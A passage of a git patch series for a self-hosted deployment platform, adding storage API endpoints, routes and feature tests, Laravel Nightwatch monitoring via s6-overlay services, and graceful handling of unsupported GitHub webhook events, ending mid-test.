+ description: 'Storage updated.'
+ content:
+ application/json:
+ schema:
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ '422':
+ $ref: '#/components/responses/422'
+ security:
+ -
+ bearerAuth: []
+ '/services/{uuid}/storages/{storage_uuid}':
+ delete:
+ tags:
+ - Services
+ summary: 'Delete Storage'
+ description: 'Delete a persistent storage or file storage by service UUID.'
+ operationId: delete-storage-by-service-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the service.'
+ required: true
+ schema:
+ type: string
+ -
+ name: storage_uuid
+ in: path
+ description: 'UUID of the storage.'
+ required: true
+ schema:
+ type: string
+ responses:
+ '200':
+ description: 'Storage deleted.'
+ content:
+ application/json:
+ schema:
+ properties:
+ message: { type: string }
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ '422':
+ $ref: '#/components/responses/422'
+ security:
+ -
+ bearerAuth: []
/teams:
get:
tags:
diff --git a/routes/api.php b/routes/api.php
index 1de365c49..0d3edcced 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -121,7 +121,9 @@
Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']);
Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']);
+ Route::post('/applications/{uuid}/storages', [ApplicationsController::class, 'create_storage'])->middleware(['api.ability:write']);
Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']);
+ Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
@@ -154,6 +156,11 @@
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']);
+ Route::get('/databases/{uuid}/storages', [DatabasesController::class, 'storages'])->middleware(['api.ability:read']);
+ Route::post('/databases/{uuid}/storages', [DatabasesController::class, 'create_storage'])->middleware(['api.ability:write']);
+ Route::patch('/databases/{uuid}/storages', [DatabasesController::class, 'update_storage'])->middleware(['api.ability:write']);
+ Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:write']);
+
Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']);
Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']);
Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']);
@@ -171,6 +178,11 @@
Route::patch('/services/{uuid}', [ServicesController::class, 'update_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:write']);
+ Route::get('/services/{uuid}/storages', [ServicesController::class, 'storages'])->middleware(['api.ability:read']);
+ Route::post('/services/{uuid}/storages', [ServicesController::class, 'create_storage'])->middleware(['api.ability:write']);
+ Route::patch('/services/{uuid}/storages', [ServicesController::class, 'update_storage'])->middleware(['api.ability:write']);
+ Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:write']);
+
Route::get('/services/{uuid}/envs', [ServicesController::class, 'envs'])->middleware(['api.ability:read']);
Route::post('/services/{uuid}/envs', [ServicesController::class, 'create_env'])->middleware(['api.ability:write']);
Route::patch('/services/{uuid}/envs/bulk', [ServicesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']);
diff --git a/tests/Feature/GenerateApplicationNameTest.php b/tests/Feature/GenerateApplicationNameTest.php
new file mode 100644
index 000000000..3a1c475d3
--- /dev/null
+++ b/tests/Feature/GenerateApplicationNameTest.php
@@ -0,0 +1,22 @@
+toBe('coolify:main-test123');
+ expect($name)->not->toContain('coollabsio');
+});
+
+test('generate_application_name handles repository without owner', function () {
+ $name = generate_application_name('coolify', 'main', 'test123');
+
+ expect($name)->toBe('coolify:main-test123');
+});
+
+test('generate_application_name handles deeply nested repository path', function () {
+ $name = generate_application_name('org/sub/repo-name', 'develop', 'abc456');
+
+ expect($name)->toBe('repo-name:develop-abc456');
+ expect($name)->not->toContain('org');
+ expect($name)->not->toContain('sub');
+});
diff --git a/tests/Feature/StorageApiTest.php b/tests/Feature/StorageApiTest.php
new file mode 100644
index 000000000..75357e41e
--- /dev/null
+++ b/tests/Feature/StorageApiTest.php
@@ -0,0 +1,379 @@
+ 0]);
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $plainTextToken = Str::random(40);
+ $token = $this->user->tokens()->create([
+ 'name' => 'test-token',
+ 'token' => hash('sha256', $plainTextToken),
+ 'abilities' => ['*'],
+ 'team_id' => $this->team->id,
+ ]);
+ $this->bearerToken = $token->getKey().'|'.$plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function createTestApplication($context): Application
+{
+ return Application::factory()->create([
+ 'environment_id' => $context->environment->id,
+ ]);
+}
+
+function createTestDatabase($context): StandalonePostgresql
+{
+ return StandalonePostgresql::create([
+ 'name' => 'test-postgres',
+ 'image' => 'postgres:15-alpine',
+ 'postgres_user' => 'postgres',
+ 'postgres_password' => 'password',
+ 'postgres_db' => 'postgres',
+ 'environment_id' => $context->environment->id,
+ 'destination_id' => $context->destination->id,
+ 'destination_type' => $context->destination->getMorphClass(),
+ ]);
+}
+
+// ──────────────────────────────────────────────────────────────
+// Application Storage Endpoints
+// ──────────────────────────────────────────────────────────────
+
+describe('GET /api/v1/applications/{uuid}/storages', function () {
+ test('lists storages for an application', function () {
+ $app = createTestApplication($this);
+
+ LocalPersistentVolume::create([
+ 'name' => $app->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $app->id,
+ 'resource_type' => $app->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->getJson("/api/v1/applications/{$app->uuid}/storages");
+
+ $response->assertStatus(200);
+ $response->assertJsonCount(1, 'persistent_storages');
+ $response->assertJsonCount(0, 'file_storages');
+ });
+
+ test('returns 404 for non-existent application', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->getJson('/api/v1/applications/non-existent-uuid/storages');
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('POST /api/v1/applications/{uuid}/storages', function () {
+ test('creates a persistent storage', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'persistent',
+ 'name' => 'my-volume',
+ 'mount_path' => '/data',
+ ]);
+
+ $response->assertStatus(201);
+
+ $vol = LocalPersistentVolume::where('resource_id', $app->id)
+ ->where('resource_type', $app->getMorphClass())
+ ->first();
+
+ expect($vol)->not->toBeNull();
+ expect($vol->name)->toBe($app->uuid.'-my-volume');
+ expect($vol->mount_path)->toBe('/data');
+ expect($vol->uuid)->not->toBeNull();
+ });
+
+ test('creates a file storage', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'file',
+ 'mount_path' => '/app/config.json',
+ 'content' => '{"key": "value"}',
+ ]);
+
+ $response->assertStatus(201);
+
+ $vol = LocalFileVolume::where('resource_id', $app->id)
+ ->where('resource_type', get_class($app))
+ ->first();
+
+ expect($vol)->not->toBeNull();
+ expect($vol->mount_path)->toBe('/app/config.json');
+ expect($vol->is_directory)->toBeFalse();
+ });
+
+ test('rejects persistent storage without name', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'persistent',
+ 'mount_path' => '/data',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects invalid type-specific fields', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'persistent',
+ 'name' => 'vol',
+ 'mount_path' => '/data',
+ 'content' => 'should not be here',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
+
+describe('PATCH /api/v1/applications/{uuid}/storages', function () {
+ test('updates a persistent storage by uuid', function () {
+ $app = createTestApplication($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $app->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $app->id,
+ 'resource_type' => $app->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'uuid' => $vol->uuid,
+ 'type' => 'persistent',
+ 'mount_path' => '/new-data',
+ ]);
+
+ $response->assertStatus(200);
+ expect($vol->fresh()->mount_path)->toBe('/new-data');
+ });
+
+ test('updates a persistent storage by id (backwards compat)', function () {
+ $app = createTestApplication($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $app->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $app->id,
+ 'resource_type' => $app->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'id' => $vol->id,
+ 'type' => 'persistent',
+ 'mount_path' => '/updated',
+ ]);
+
+ $response->assertStatus(200);
+ expect($vol->fresh()->mount_path)->toBe('/updated');
+ });
+
+ test('returns 422 when neither uuid nor id is provided', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'persistent',
+ 'mount_path' => '/data',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
+
+describe('DELETE /api/v1/applications/{uuid}/storages/{storage_uuid}', function () {
+ test('deletes a persistent storage', function () {
+ $app = createTestApplication($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $app->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $app->id,
+ 'resource_type' => $app->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->deleteJson("/api/v1/applications/{$app->uuid}/storages/{$vol->uuid}");
+
+ $response->assertStatus(200);
+ $response->assertJson(['message' => 'Storage deleted.']);
+ expect(LocalPersistentVolume::find($vol->id))->toBeNull();
+ });
+
+ test('finds file storage without type param and calls deleteStorageOnServer', function () {
+ $app = createTestApplication($this);
+
+ $vol = LocalFileVolume::create([
+ 'fs_path' => '/tmp/test',
+ 'mount_path' => '/app/config.json',
+ 'content' => '{}',
+ 'is_directory' => false,
+ 'resource_id' => $app->id,
+ 'resource_type' => get_class($app),
+ ]);
+
+ // Verify the storage is found via fileStorages (not persistentStorages)
+ $freshApp = Application::find($app->id);
+ expect($freshApp->persistentStorages->where('uuid', $vol->uuid)->first())->toBeNull();
+ expect($freshApp->fileStorages->where('uuid', $vol->uuid)->first())->not->toBeNull();
+ expect($vol)->toBeInstanceOf(LocalFileVolume::class);
+ });
+
+ test('returns 404 for non-existent storage', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->deleteJson("/api/v1/applications/{$app->uuid}/storages/non-existent");
+
+ $response->assertStatus(404);
+ });
+});
+
+// ──────────────────────────────────────────────────────────────
+// Database Storage Endpoints
+// ──────────────────────────────────────────────────────────────
+
+describe('GET /api/v1/databases/{uuid}/storages', function () {
+ test('lists storages for a database', function () {
+ $db = createTestDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->getJson("/api/v1/databases/{$db->uuid}/storages");
+
+ $response->assertStatus(200);
+ $response->assertJsonStructure(['persistent_storages', 'file_storages']);
+ // Database auto-creates a default persistent volume
+ $response->assertJsonCount(1, 'persistent_storages');
+ });
+
+ test('returns 404 for non-existent database', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->getJson('/api/v1/databases/non-existent-uuid/storages');
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('POST /api/v1/databases/{uuid}/storages', function () {
+ test('creates a persistent storage for a database', function () {
+ $db = createTestDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/databases/{$db->uuid}/storages", [
+ 'type' => 'persistent',
+ 'name' => 'extra-data',
+ 'mount_path' => '/extra',
+ ]);
+
+ $response->assertStatus(201);
+
+ $vol = LocalPersistentVolume::where('name', $db->uuid.'-extra-data')->first();
+ expect($vol)->not->toBeNull();
+ expect($vol->mount_path)->toBe('/extra');
+ });
+});
+
+describe('PATCH /api/v1/databases/{uuid}/storages', function () {
+ test('updates a persistent storage by uuid', function () {
+ $db = createTestDatabase($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $db->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $db->id,
+ 'resource_type' => $db->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$db->uuid}/storages", [
+ 'uuid' => $vol->uuid,
+ 'type' => 'persistent',
+ 'mount_path' => '/updated',
+ ]);
+
+ $response->assertStatus(200);
+ expect($vol->fresh()->mount_path)->toBe('/updated');
+ });
+});
+
+describe('DELETE /api/v1/databases/{uuid}/storages/{storage_uuid}', function () {
+ test('deletes a persistent storage', function () {
+ $db = createTestDatabase($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $db->uuid.'-test-vol',
+ 'mount_path' => '/extra',
+ 'resource_id' => $db->id,
+ 'resource_type' => $db->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->deleteJson("/api/v1/databases/{$db->uuid}/storages/{$vol->uuid}");
+
+ $response->assertStatus(200);
+ expect(LocalPersistentVolume::find($vol->id))->toBeNull();
+ });
+});
From c09d7e412e62df2b1c4f41765b8de06db4f2624d Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 15:36:47 +0100
Subject: [PATCH 040/168] feat(monitoring): add Laravel Nightwatch monitoring
support
- Install laravel/nightwatch package for application monitoring
- Create Nightwatch console command to start the monitoring agent
- Add NIGHTWATCH_ENABLED and NIGHTWATCH_TOKEN environment variables
- Configure nightwatch settings in config/constants.php
- Set up Docker s6-overlay services for both development and production
- Disable Nightwatch by default in test environment
---
.env.development.example | 4 +
app/Console/Commands/Nightwatch.php | 22 +++++
composer.json | 1 +
composer.lock | 98 ++++++++++++++++++-
config/constants.php | 4 +
.../dependencies.d/init-setup | 1 +
.../s6-overlay/s6-rc.d/nightwatch-agent/run | 12 +++
.../s6-overlay/s6-rc.d/nightwatch-agent/type | 1 +
.../s6-rc.d/user/contents.d/nightwatch-agent | 1 +
.../dependencies.d/init-script | 1 +
.../s6-overlay/s6-rc.d/nightwatch-agent/run | 11 +++
.../s6-overlay/s6-rc.d/nightwatch-agent/type | 1 +
.../s6-rc.d/user/contents.d/nightwatch-agent | 1 +
phpunit.xml | 1 +
14 files changed, 157 insertions(+), 2 deletions(-)
create mode 100644 app/Console/Commands/Nightwatch.php
create mode 100644 docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-setup
create mode 100644 docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run
create mode 100644 docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/type
create mode 100644 docker/development/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent
create mode 100644 docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-script
create mode 100644 docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run
create mode 100644 docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/type
create mode 100644 docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent
diff --git a/.env.development.example b/.env.development.example
index b0b15f324..594b89201 100644
--- a/.env.development.example
+++ b/.env.development.example
@@ -24,6 +24,10 @@ RAY_ENABLED=false
# Enable Laravel Telescope for debugging
TELESCOPE_ENABLED=false
+# Enable Laravel Nightwatch monitoring
+NIGHTWATCH_ENABLED=false
+NIGHTWATCH_TOKEN=
+
# Selenium Driver URL for Dusk
DUSK_DRIVER_URL=http://selenium:4444
diff --git a/app/Console/Commands/Nightwatch.php b/app/Console/Commands/Nightwatch.php
new file mode 100644
index 000000000..40fd86a81
--- /dev/null
+++ b/app/Console/Commands/Nightwatch.php
@@ -0,0 +1,22 @@
+info('Nightwatch is enabled on this server.');
+ $this->call('nightwatch:agent');
+ }
+
+ exit(0);
+ }
+}
diff --git a/composer.json b/composer.json
index d4fb1eb8e..e2b16b31b 100644
--- a/composer.json
+++ b/composer.json
@@ -18,6 +18,7 @@
"laravel/fortify": "^1.34.0",
"laravel/framework": "^12.49.0",
"laravel/horizon": "^5.43.0",
+ "laravel/nightwatch": "^1.24",
"laravel/pail": "^1.2.4",
"laravel/prompts": "^0.3.11|^0.3.11|^0.3.11",
"laravel/sanctum": "^4.3.0",
diff --git a/composer.lock b/composer.lock
index 993835a42..3a66fdd5a 100644
--- a/composer.lock
+++ b/composer.lock
@@ -4,7 +4,7 @@
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
"This file is @generated automatically"
],
- "content-hash": "19bb661d294e5cf623e68830604e4f60",
+ "content-hash": "40bddea995c1744e4aec517263109a2f",
"packages": [
{
"name": "aws/aws-crt-php",
@@ -2065,6 +2065,100 @@
},
"time": "2026-02-21T14:20:09+00:00"
},
+ {
+ "name": "laravel/nightwatch",
+ "version": "v1.24.4",
+ "source": {
+ "type": "git",
+ "url": "https://github.com/laravel/nightwatch.git",
+ "reference": "127e9bb9928f0fcf69b52b244053b393c90347c8"
+ },
+ "dist": {
+ "type": "zip",
+ "url": "https://api.github.com/repos/laravel/nightwatch/zipball/127e9bb9928f0fcf69b52b244053b393c90347c8",
+ "reference": "127e9bb9928f0fcf69b52b244053b393c90347c8",
+ "shasum": ""
+ },
+ "require": {
+ "ext-zlib": "*",
+ "guzzlehttp/promises": "^2.0",
+ "laravel/framework": "^10.0|^11.0|^12.0|^13.0",
+ "monolog/monolog": "^3.6",
+ "nesbot/carbon": "^2.0|^3.0",
+ "php": "^8.2",
+ "psr/http-message": "^1.0|^2.0",
+ "psr/log": "^1.0|^2.0|^3.0",
+ "ramsey/uuid": "^4.0",
+ "symfony/console": "^6.0|^7.0|^8.0",
+ "symfony/http-foundation": "^6.0|^7.0|^8.0",
+ "symfony/polyfill-php84": "^1.29"
+ },
+ "require-dev": {
+ "aws/aws-sdk-php": "^3.349",
+ "ext-pcntl": "*",
+ "ext-pdo": "*",
+ "guzzlehttp/guzzle": "^7.0",
+ "guzzlehttp/psr7": "^2.0",
+ "laravel/horizon": "^5.4",
+ "laravel/pint": "1.21.0",
+ "laravel/vapor-core": "^2.38.2",
+ "livewire/livewire": "^2.0|^3.0",
+ "mockery/mockery": "^1.0",
+ "mongodb/laravel-mongodb": "^4.0|^5.0",
+ "orchestra/testbench": "^8.0|^9.0|^10.0",
+ "orchestra/testbench-core": "^8.0|^9.0|^10.0",
+ "orchestra/workbench": "^8.0|^9.0|^10.0",
+ "phpstan/phpstan": "^1.0",
+ "phpunit/phpunit": "^10.0|^11.0|^12.0",
+ "singlestoredb/singlestoredb-laravel": "^1.0|^2.0",
+ "spatie/laravel-ignition": "^2.0",
+ "symfony/mailer": "^6.0|^7.0|^8.0",
+ "symfony/mime": "^6.0|^7.0|^8.0",
+ "symfony/var-dumper": "^6.0|^7.0|^8.0"
+ },
+ "type": "library",
+ "extra": {
+ "laravel": {
+ "aliases": {
+ "Nightwatch": "Laravel\\Nightwatch\\Facades\\Nightwatch"
+ },
+ "providers": [
+ "Laravel\\Nightwatch\\NightwatchServiceProvider"
+ ]
+ }
+ },
+ "autoload": {
+ "files": [
+ "agent/helpers.php"
+ ],
+ "psr-4": {
+ "Laravel\\Nightwatch\\": "src/"
+ }
+ },
+ "notification-url": "https://packagist.org/downloads/",
+ "license": [
+ "MIT"
+ ],
+ "authors": [
+ {
+ "name": "Taylor Otwell",
+ "email": "taylor@laravel.com"
+ }
+ ],
+ "description": "The official Laravel Nightwatch package.",
+ "homepage": "https://nightwatch.laravel.com",
+ "keywords": [
+ "Insights",
+ "laravel",
+ "monitoring"
+ ],
+ "support": {
+ "docs": "https://nightwatch.laravel.com/docs",
+ "issues": "https://github.com/laravel/nightwatch/issues",
+ "source": "https://github.com/laravel/nightwatch"
+ },
+ "time": "2026-03-18T23:25:05+00:00"
+ },
{
"name": "laravel/pail",
"version": "v1.2.6",
@@ -17209,5 +17303,5 @@
"php": "^8.4"
},
"platform-dev": {},
- "plugin-api-version": "2.9.0"
+ "plugin-api-version": "2.6.0"
}
diff --git a/config/constants.php b/config/constants.php
index 9c6454cae..803a0a0bd 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -55,6 +55,10 @@
'is_scheduler_enabled' => env('SCHEDULER_ENABLED', true),
],
+ 'nightwatch' => [
+ 'is_nightwatch_enabled' => env('NIGHTWATCH_ENABLED', false),
+ ],
+
'docker' => [
'minimum_required_version' => '24.0',
],
diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-setup b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-setup
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-setup
@@ -0,0 +1 @@
+
diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run
new file mode 100644
index 000000000..1166ccd08
--- /dev/null
+++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run
@@ -0,0 +1,12 @@
+#!/command/execlineb -P
+
+# Use with-contenv to ensure environment variables are available
+with-contenv
+cd /var/www/html
+
+foreground {
+ php
+ artisan
+ start:nightwatch
+}
+
diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/type b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/type
new file mode 100644
index 000000000..5883cff0c
--- /dev/null
+++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/type
@@ -0,0 +1 @@
+longrun
diff --git a/docker/development/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent b/docker/development/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/docker/development/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent
@@ -0,0 +1 @@
+
diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-script b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-script
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-script
@@ -0,0 +1 @@
+
diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run
new file mode 100644
index 000000000..80d73eadb
--- /dev/null
+++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run
@@ -0,0 +1,11 @@
+#!/command/execlineb -P
+
+# Use with-contenv to ensure environment variables are available
+with-contenv
+cd /var/www/html
+foreground {
+ php
+ artisan
+ start:nightwatch
+}
+
diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/type b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/type
new file mode 100644
index 000000000..5883cff0c
--- /dev/null
+++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/type
@@ -0,0 +1 @@
+longrun
diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent b/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent
@@ -0,0 +1 @@
+
diff --git a/phpunit.xml b/phpunit.xml
index 6716b6b84..5d55acf75 100644
--- a/phpunit.xml
+++ b/phpunit.xml
@@ -22,6 +22,7 @@
+
From b931418c1e5433d5dea2c95c3f7f5b55a67d8055 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 21:33:40 +0100
Subject: [PATCH 041/168] fix(github-webhook): handle unsupported event types
gracefully
Add validation in manual and normal webhook handlers to reject GitHub
event types other than 'push' and 'pull_request'. Unsupported events
now return a graceful response instead of potentially causing
downstream errors. Includes tests for ping events, unsupported event
types, and unknown events.
---
app/Http/Controllers/Webhook/Github.php | 6 +++
tests/Feature/GithubWebhookTest.php | 70 +++++++++++++++++++++++++
2 files changed, 76 insertions(+)
create mode 100644 tests/Feature/GithubWebhookTest.php
diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php
index e5a5b746e..fe49369ea 100644
--- a/app/Http/Controllers/Webhook/Github.php
+++ b/app/Http/Controllers/Webhook/Github.php
@@ -55,6 +55,9 @@ public function manual(Request $request)
$after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha'));
$author_association = data_get($payload, 'pull_request.author_association');
}
+ if (! in_array($x_github_event, ['push', 'pull_request'])) {
+ return response("Nothing to do. Event '$x_github_event' is not supported.");
+ }
if (! $branch) {
return response('Nothing to do. No branch found in the request.');
}
@@ -246,6 +249,9 @@ public function normal(Request $request)
$after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha'));
$author_association = data_get($payload, 'pull_request.author_association');
}
+ if (! in_array($x_github_event, ['push', 'pull_request'])) {
+ return response("Nothing to do. Event '$x_github_event' is not supported.");
+ }
if (! $id || ! $branch) {
return response('Nothing to do. No id or branch found.');
}
diff --git a/tests/Feature/GithubWebhookTest.php b/tests/Feature/GithubWebhookTest.php
new file mode 100644
index 000000000..aee5239fb
--- /dev/null
+++ b/tests/Feature/GithubWebhookTest.php
@@ -0,0 +1,70 @@
+postJson('/webhooks/source/github/events/manual', [], [
+ 'X-GitHub-Event' => 'ping',
+ ]);
+
+ $response->assertOk();
+ $response->assertSee('pong');
+ });
+
+ test('unsupported event type returns graceful response instead of 500', function () {
+ $payload = [
+ 'action' => 'published',
+ 'registry_package' => [
+ 'ecosystem' => 'CONTAINER',
+ 'package_type' => 'CONTAINER',
+ 'package_version' => [
+ 'target_commitish' => 'main',
+ ],
+ ],
+ 'repository' => [
+ 'full_name' => 'test-org/test-repo',
+ 'default_branch' => 'main',
+ ],
+ ];
+
+ $response = $this->postJson('/webhooks/source/github/events/manual', $payload, [
+ 'X-GitHub-Event' => 'registry_package',
+ 'X-Hub-Signature-256' => 'sha256=fake',
+ ]);
+
+ $response->assertOk();
+ $response->assertSee('not supported');
+ });
+
+ test('unknown event type returns graceful response', function () {
+ $response = $this->postJson('/webhooks/source/github/events/manual', ['foo' => 'bar'], [
+ 'X-GitHub-Event' => 'some_unknown_event',
+ 'X-Hub-Signature-256' => 'sha256=fake',
+ ]);
+
+ $response->assertOk();
+ $response->assertSee('not supported');
+ });
+});
+
+describe('GitHub Normal Webhook', function () {
+ test('unsupported event type returns graceful response instead of 500', function () {
+ $payload = [
+ 'action' => 'published',
+ 'registry_package' => [
+ 'ecosystem' => 'CONTAINER',
+ ],
+ 'repository' => [
+ 'full_name' => 'test-org/test-repo',
+ ],
+ ];
+
+ $response = $this->postJson('/webhooks/source/github/events', $payload, [
+ 'X-GitHub-Event' => 'registry_package',
